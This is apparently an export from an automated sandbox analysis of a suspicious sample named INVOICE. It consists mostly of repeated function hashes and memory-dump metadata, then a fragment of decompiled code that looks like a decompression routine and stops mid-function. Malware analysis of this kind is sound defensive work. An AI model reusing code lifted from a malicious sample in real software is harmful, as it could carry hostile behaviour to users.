Instruction ID: 577c112882e7558ae2b61f56fb3a0b4d653735fdb16632e8f25878a304db67b8
Opcode Fuzzy Hash: ca921d547981d1b221b43c97af7b7fce72d6f0963edc7b1f6eafcc669972480d
Instruction Fuzzy Hash: C4B1DD43E3F7359AE783307485513F65680CF2B6C5D21CB9B8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B49 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ecf1dbeb68622b8945152bcc0224463dc504644f4a93ddff152cf89a88af45c
Instruction ID: 002a884c5299b6605580aa34098ee9627edb069e6251fbfdba8a92c5df41d2a0
Opcode Fuzzy Hash: 3ecf1dbeb68622b8945152bcc0224463dc504644f4a93ddff152cf89a88af45c
Instruction Fuzzy Hash: 32B1DD43E3F7369AE783307485513F65680CF2B6C5D51CB9A8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B5F Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78217df373989cd5b6d30851dbe765e98ff378a711b46fd2974e232231d3b2d
Instruction ID: f41cf98d7f99e871a02de6982554ba8fd2a8588456bed7c222278d8109265f95
Opcode Fuzzy Hash: e78217df373989cd5b6d30851dbe765e98ff378a711b46fd2974e232231d3b2d
Instruction Fuzzy Hash: A1B1DD43E3F7359BE783307485513F65680CF2B6C5D11CB9B8C267A5A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B4B Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec52d23c7103e013de2e2bcbc09305e835d647f896b3639ec0076fc7701aadd
Instruction ID: 0c7cd6b3eb5ae3ee4b024199b38ba93c8fa782fbd730dc8ac64fe3d2e71134cb
Opcode Fuzzy Hash: aec52d23c7103e013de2e2bcbc09305e835d647f896b3639ec0076fc7701aadd
Instruction Fuzzy Hash: 8EB1DD43E3F7369AE783307485513F65680CF2B6C5D51CB9A8C267A9A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B51CF9 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ae92470932da0440a097a228ce0b1626c0c0510384ad15eb659b2ceceadfd8
Instruction ID: c734c72e6da3cf31562e782df43920ef5c8e638f6c1662b58fe20c77bb6427f3
Opcode Fuzzy Hash: 26ae92470932da0440a097a228ce0b1626c0c0510384ad15eb659b2ceceadfd8
Instruction Fuzzy Hash: 65A1EB96D3B7359AE7EB2438C6517F81641CF171C2E1487EB4D7ABE4E1B30F098A8484

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B4D Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c94c133ec81dc62a6984bb9363f59ac87d4659ab27c8674bdd15f10414ba65
Instruction ID: 64ed84003ee8b72223b2c8754283fa00b61aa3c1a2e94555cdb7a16c258b4737
Opcode Fuzzy Hash: e9c94c133ec81dc62a6984bb9363f59ac87d4659ab27c8674bdd15f10414ba65
Instruction Fuzzy Hash: 4EB1DE43E3F7359BE783307485513F65680CF2B6C5D11CB9B8C267A5A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B50 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84a52120b7b90769e5b01c035a9e1da28a006e625cb209303df0f72a24c281c7
Instruction ID: c088c924c056c6879ff15a5f4e8c256aaf8f77c399d09a25aa2265fb95854120
Opcode Fuzzy Hash: 84a52120b7b90769e5b01c035a9e1da28a006e625cb209303df0f72a24c281c7
Instruction Fuzzy Hash: 5FB1DE43E3B7369BE783307485513F65680CF2B6C5D11CB9B8C267A5A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B51A12 Relevance: .4, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d56b0c04bc52a0d9daeae7e88584279d174cb07f4759e53c44aeafa5f4746ba
Instruction ID: 7286890285c95d934e2f3430db65feb4feeec8228cd746514fccaab8129e29ab
Opcode Fuzzy Hash: 7d56b0c04bc52a0d9daeae7e88584279d174cb07f4759e53c44aeafa5f4746ba
Instruction Fuzzy Hash: 65B1BB52E3F335DAE7833074C6517F55681CF275C6E248BEB8D2BBA4A2770F098A8494

Uniqueness

Uniqueness Score: -1.00%

Function 02B50BB8 Relevance: .4, Instructions: 421COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c5efddc0ec83e602f3371d23d7dfcc9d2cadf95b313fc6df5cf0f8fea2aa611
Instruction ID: e6c8d314313ded571a19e184edfff5a7b65af7b21f721d8785776ab4915100c1
Opcode Fuzzy Hash: 7c5efddc0ec83e602f3371d23d7dfcc9d2cadf95b313fc6df5cf0f8fea2aa611
Instruction Fuzzy Hash: BFB1DC43E3F736DBE783307485503F65680CF2B6C5D65CB9A8C667A5A2371B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50B7F Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34cd6a55705a62125cbe7c43dc0a0c6586a9cfebb09a690734e8274b8de2d2b0
Instruction ID: c7a635ba43666e666ec796a9db1878db55c2d1c9ed462ab710b3859d394b17c2
Opcode Fuzzy Hash: 34cd6a55705a62125cbe7c43dc0a0c6586a9cfebb09a690734e8274b8de2d2b0
Instruction Fuzzy Hash: FCB1EE43E3F7369BE783307485517F65680CF2B5C5D55CB9B8C267A9A2371B0A8E88D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B50C9E Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48f811e9b8bf654b68cb524204d5b1b0816be2373c13af0987e70697222a34c5
Instruction ID: 613a6bb9c71a818a61190887fa12867c44ea5a96ca1bd5d3c839e601690bf98f
Opcode Fuzzy Hash: 48f811e9b8bf654b68cb524204d5b1b0816be2373c13af0987e70697222a34c5
Instruction Fuzzy Hash: 40A1FF43E3F7369BE783307485513F65680CF2B5C5D65CB9B8C26BA5A1371B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50C2F Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e68cc133db2ec25766e36769c322dcdd60e26710cacf499636487eba47427b1
Instruction ID: c4b8a30ce9172e215ce456c552c6957d466cd24faa0ea0f95c8829a926a5d8f5
Opcode Fuzzy Hash: 8e68cc133db2ec25766e36769c322dcdd60e26710cacf499636487eba47427b1
Instruction Fuzzy Hash: 2FA1ED43E3F336DBE783307485513F65680CF2B6C5D65CB9A8C667A5A2371B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B519F2 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa4182ef50be04f769b76cd347a47df0973a22b1f5f7efbd8814b9e9bc172488
Instruction ID: 3d6076c0127414fea49827ec1eec3686ca870a4d68759f8ad21edc1bfabe9c76
Opcode Fuzzy Hash: aa4182ef50be04f769b76cd347a47df0973a22b1f5f7efbd8814b9e9bc172488
Instruction Fuzzy Hash: E9B1AB42E3F325DAE7933074C6517F55681CF271C2E248BEB8D2ABA4A1770F098A8498

Uniqueness

Uniqueness Score: -1.00%

Function 02B51AD6 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d52c1f603f93e3efe99377d361b96bbe453bc4d85a6a9e4e5a87467d1a132e2
Instruction ID: d0c0d22327f47c1f686568f86920f4a0dd9f4c0576c409fe88a2bc1afea8c4fe
Opcode Fuzzy Hash: 2d52c1f603f93e3efe99377d361b96bbe453bc4d85a6a9e4e5a87467d1a132e2
Instruction Fuzzy Hash: D8A1DC42E2F335DAE7933074C6617F51681CF275C2E248BEB4D2BBA4A1770F098E8484

Uniqueness

Uniqueness Score: -1.00%

Function 02B50C6A Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40325a8b3b7ccba8288f1dbd821f4aac267d2c9156704cb09d29efc3bddd0aaf
Instruction ID: 1f4e949ae87e43c1a2587f3fac8fb9a1e4afb2528d10399e1ef436538162c043
Opcode Fuzzy Hash: 40325a8b3b7ccba8288f1dbd821f4aac267d2c9156704cb09d29efc3bddd0aaf
Instruction Fuzzy Hash: F3A1EE43E3F736DBE783307485503F65680CF2B6C5D65CB9A8C6A7A5A1371B0A8E88D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B50D1A Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18ae1c2cf82603fe75ce56857ab16cb7c4329b7b26115263b9cb11949c325729
Instruction ID: 61d1d3e78d6a007b07080cb84af0e9388a94c873c4b5352ebf039850681f5e99
Opcode Fuzzy Hash: 18ae1c2cf82603fe75ce56857ab16cb7c4329b7b26115263b9cb11949c325729
Instruction Fuzzy Hash: B991DB43E3B3369BD783307485507F65680CF2B5C5D65CB9A8C6ABA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50D4B Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836013209bfd2dc85e5901cfb36225cd83238b57fb616a6a19fc5d45ccb403a6
Instruction ID: 9d6a652fa30e4564c61a6586a00d120f181020fb3cb0f3b5741c9daa0f10d49c
Opcode Fuzzy Hash: 836013209bfd2dc85e5901cfb36225cd83238b57fb616a6a19fc5d45ccb403a6
Instruction Fuzzy Hash: 50910D43E3F7369AE783307485503F65680CF2B5C5C65CB9B8C6B7A5A2370B0A8E88D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B50CE3 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4fc67749dfdc40ff705f4a55a223d18e10f32d599ba3d85328173b37876791f
Instruction ID: e36ea35fe7e1fe5178b917e2ffeefa5789c899b18db050c612c03703a47743ee
Opcode Fuzzy Hash: d4fc67749dfdc40ff705f4a55a223d18e10f32d599ba3d85328173b37876791f
Instruction Fuzzy Hash: 5FA1ED43E3B3369AD783307485507F55680CF2B5C5D25CB9A8C66BA5A1770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B51BA6 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6466dcd332d139b0b04c6a297293e4743f509cdf651fae69572c4a641bac0d
Instruction ID: 26e4f4bb7ba4b3724d5d2f4863c1eba968f300a273be2cef1f8c9ded7f387a12
Opcode Fuzzy Hash: fc6466dcd332d139b0b04c6a297293e4743f509cdf651fae69572c4a641bac0d
Instruction Fuzzy Hash: 5E91DC42E2F335DBE7937074C6617F55681CF175C2E648BEA4D2BBA4A2770F098E8488

Uniqueness

Uniqueness Score: -1.00%

Function 02B51B2D Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f498959103f31f4c96f5ce4308a9cfd670e4feed2c7665bc5ed915209bdf11
Instruction ID: 0423fa93fe33550aa87962dbb7f02978174a2cfc0280e313422d44aaa95b8b1b
Opcode Fuzzy Hash: 44f498959103f31f4c96f5ce4308a9cfd670e4feed2c7665bc5ed915209bdf11
Instruction Fuzzy Hash: 6FA1DC42E2F335DAE7937074C6617F51681CF275C2E648BEB4D2BBA4A1770F098E8488

Uniqueness

Uniqueness Score: -1.00%

Function 02B50DD8 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e838fa57aab193172f8eafc573c6f7fd9a39991babfbe7723e0b3149a1f3f53
Instruction ID: 7fe4a93d3bc395c69ff694d2137bf1cb670a77ce30db8f324e191121ac9a5f30
Opcode Fuzzy Hash: 8e838fa57aab193172f8eafc573c6f7fd9a39991babfbe7723e0b3149a1f3f53
Instruction Fuzzy Hash: E991FD02E3F7369AD783307485513F65680CF2B5C5D658B9B8C6BBA4A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50EC1 Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6fff02b78f09a146c0db629bc3b1464d8251be373ba1e677ce363c72995ef6
Instruction ID: 421968947ab3d292927a86bf4873163fff26dbe7cf8d416c00aff77d43026505
Opcode Fuzzy Hash: 9a6fff02b78f09a146c0db629bc3b1464d8251be373ba1e677ce363c72995ef6
Instruction Fuzzy Hash: AF81FB07E3B33A9BD783307885513F55680CF2B5C5D15CB9B8C6BBA4A2770B0A8E89D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B51BD9 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900af92b509dbd61767711fc5b79837c0e6c7019a6594aca6a946392f663c9e4
Instruction ID: 284429b4ad5a5d8c39dfefdf4d6118eb63f51ea08398c43289c9b1d2e92a21f3
Opcode Fuzzy Hash: 900af92b509dbd61767711fc5b79837c0e6c7019a6594aca6a946392f663c9e4
Instruction Fuzzy Hash: 0A91ED43D3F3259BE7933070C6A17F45681CF171C2E648BEA4D6BBA4A1771F098E8488

Uniqueness

Uniqueness Score: -1.00%

Function 02B51C1A Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a126632a86253978057e9b190319acbb6753842a14bf6f6e3239973d8820ef20
Instruction ID: 33280852862a58633a84760b84541a9e8c0b93532cc4e7d6c401724306b150ca
Opcode Fuzzy Hash: a126632a86253978057e9b190319acbb6753842a14bf6f6e3239973d8820ef20
Instruction Fuzzy Hash: 4691EC52D2F3258BE7933070C6A17F55681CF171C2E648BEB4D2BBA4A1B70F098E8488

Uniqueness

Uniqueness Score: -1.00%

Function 02B50DBA Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e73217ca69b3fcb47b54b23705947320e955e6c874abe62558e6b8228915a168
Instruction ID: dd3c7c3dbb217e290f73497ccd70aac1912a05c4ac6b9bf4a01136e676edd52b
Opcode Fuzzy Hash: e73217ca69b3fcb47b54b23705947320e955e6c874abe62558e6b8228915a168
Instruction Fuzzy Hash: CB91FD43E3F3369AD783307485513F65680CF2B5C5C55CB9B8C6B7A5A1770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50E0A Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc93893acbf0835073b3b265cf21f65a678a27e98113130552511cb9f4a852fe
Instruction ID: e478c9a3e226d1e1db7c2eeeb45edc71a2fde886229bb154fb2e20b13a91f2ec
Opcode Fuzzy Hash: dc93893acbf0835073b3b265cf21f65a678a27e98113130552511cb9f4a852fe
Instruction Fuzzy Hash: D791ED43E3F7369BD783307485513F55680CF2B5C5D66CB9B8C6BBA5A2770B0A8E8890

Uniqueness

Uniqueness Score: -1.00%

Function 02B50E84 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c4818bd76f757b8e6d0b5473cca9a5cc52a4baa72c51d05b9b522923a5ded2c
Instruction ID: 04d9b6bbe57e67ae4ff0fa74435c5db99901e91a80ac0d13cbd4b93581731c12
Opcode Fuzzy Hash: 3c4818bd76f757b8e6d0b5473cca9a5cc52a4baa72c51d05b9b522923a5ded2c
Instruction Fuzzy Hash: 08810E47E3F7369BD783307885113F55680CF2B5C5D258B9B8C6BBA5A2770B0A8E88D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B50F07 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73b43e06282bfd1964181e9a07c69433f4392cf670f2af36e37e7ceb72c7b708
Instruction ID: e222473bb20d6c8bc21a3d3c0574252e6fdcd5cbf25f28974981ccd6f9af13fa
Opcode Fuzzy Hash: 73b43e06282bfd1964181e9a07c69433f4392cf670f2af36e37e7ceb72c7b708
Instruction Fuzzy Hash: 6F81EC46E3F3369BD783307885113F55680CF2B5C5D65CB9B8C6BBA5A2770B0A8E88D0

Uniqueness

Uniqueness Score: -1.00%

Function 02B50E3A Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c53b76cc4f4c279e815bac32be02e9ca3681a90809f6f5e52ecc1875c01383
Instruction ID: 3c08bdf89e54c6c170bda4f2ff2ca3cf4977a1cc461a09b43f4d0b7766733c8a
Opcode Fuzzy Hash: 59c53b76cc4f4c279e815bac32be02e9ca3681a90809f6f5e52ecc1875c01383
Instruction Fuzzy Hash: 1A910F46E3F3369BD783307485513F55680CF2B5C5D268B9B8C6BBA5A2770B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 00406D85 Relevance: .3, Instructions: 334
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00406D85(signed int __ebx, signed int* __esi) {
				signed int _t396;
				signed int _t425;
				signed int _t442;
				signed int _t443;
				signed int* _t446;
				void* _t448;

				L0:
				while(1) {
					L0:
					_t446 = __esi;
					_t425 = __ebx;
					if( *(_t448 - 0x34) == 0) {
						break;
					}
					L55:
					__eax =  *(__ebp - 0x38);
					 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
					__ecx = __ebx;
					 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
					__ebx = __ebx + 8;
					while(1) {
						L56:
						if(__ebx < 0xe) {
							goto L0;
						}
						L57:
						__eax =  *(__ebp - 0x40);
						__eax =  *(__ebp - 0x40) & 0x00003fff;
						__ecx = __eax;
						__esi[1] = __eax;
						__ecx = __eax & 0x0000001f;
						if(__cl > 0x1d) {
							L9:
							_t443 = _t442 | 0xffffffff;
							 *_t446 = 0x11;
							L10:
							_t446[0x147] =  *(_t448 - 0x40);
							_t446[0x146] = _t425;
							( *(_t448 + 8))[1] =  *(_t448 - 0x34);
							L11:
							 *( *(_t448 + 8)) =  *(_t448 - 0x38);
							_t446[0x26ea] =  *(_t448 - 0x30);
							E004074F4( *(_t448 + 8));
							return _t443;
						}
						L58:
						__eax = __eax & 0x000003e0;
						if(__eax > 0x3a0) {
							goto L9;
						}
						L59:
						 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 0xe;
						__ebx = __ebx - 0xe;
						_t94 =  &(__esi[2]);
						 *_t94 = __esi[2] & 0x00000000;
						 *__esi = 0xc;
						while(1) {
							L60:
							__esi[1] = __esi[1] >> 0xa;
							__eax = (__esi[1] >> 0xa) + 4;
							if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
								goto L68;
							}
							L61:
							while(1) {
								L64:
								if(__ebx >= 3) {
									break;
								}
								L62:
								if( *(__ebp - 0x34) == 0) {
									goto L182;
								}
								L63:
								__eax =  *(__ebp - 0x38);
								 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
								__ecx = __ebx;
								 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
								__ebx = __ebx + 8;
							}
							L65:
							__ecx = __esi[2];
							 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000007;
							__ebx = __ebx - 3;
							_t108 = __ecx + 0x4084d4; // 0x121110
							__ecx =  *_t108;
							 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 3;
							 *(__esi + 0xc +  *_t108 * 4) =  *(__ebp - 0x40) & 0x00000007;
							__ecx = __esi[1];
							__esi[2] = __esi[2] + 1;
							__eax = __esi[2];
							__esi[1] >> 0xa = (__esi[1] >> 0xa) + 4;
							if(__esi[2] < (__esi[1] >> 0xa) + 4) {
								goto L64;
							}
							L66:
							while(1) {
								L68:
								if(__esi[2] >= 0x13) {
									break;
								}
								L67:
								_t119 = __esi[2] + 0x4084d4; // 0x4000300
								__eax =  *_t119;
								 *(__esi + 0xc +  *_t119 * 4) =  *(__esi + 0xc +  *_t119 * 4) & 0x00000000;
								_t126 =  &(__esi[2]);
								 *_t126 = __esi[2] + 1;
							}
							L69:
							__ecx = __ebp - 8;
							__edi =  &(__esi[0x143]);
							 &(__esi[0x148]) =  &(__esi[0x144]);
							__eax = 0;
							 *(__ebp - 8) = 0;
							__eax =  &(__esi[3]);
							 *__edi = 7;
							__eax = E0040755C( &(__esi[3]), 0x13, 0x13, 0, 0,  &(__esi[0x144]), __edi,  &(__esi[0x148]), __ebp - 8);
							if(__eax != 0) {
								L72:
								 *__esi = 0x11;
								while(1) {
									L180:
									_t396 =  *_t446;
									if(_t396 > 0xf) {
										break;
									}
									L1:
									switch( *((intOrPtr*)(_t396 * 4 +  &M004074B4))) {
										case 0:
											L101:
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[5];
											__esi[2] = __esi[5];
											 *__esi = 1;
											goto L102;
										case 1:
											L102:
											__eax = __esi[3];
											while(1) {
												L105:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L103:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L104:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L106:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
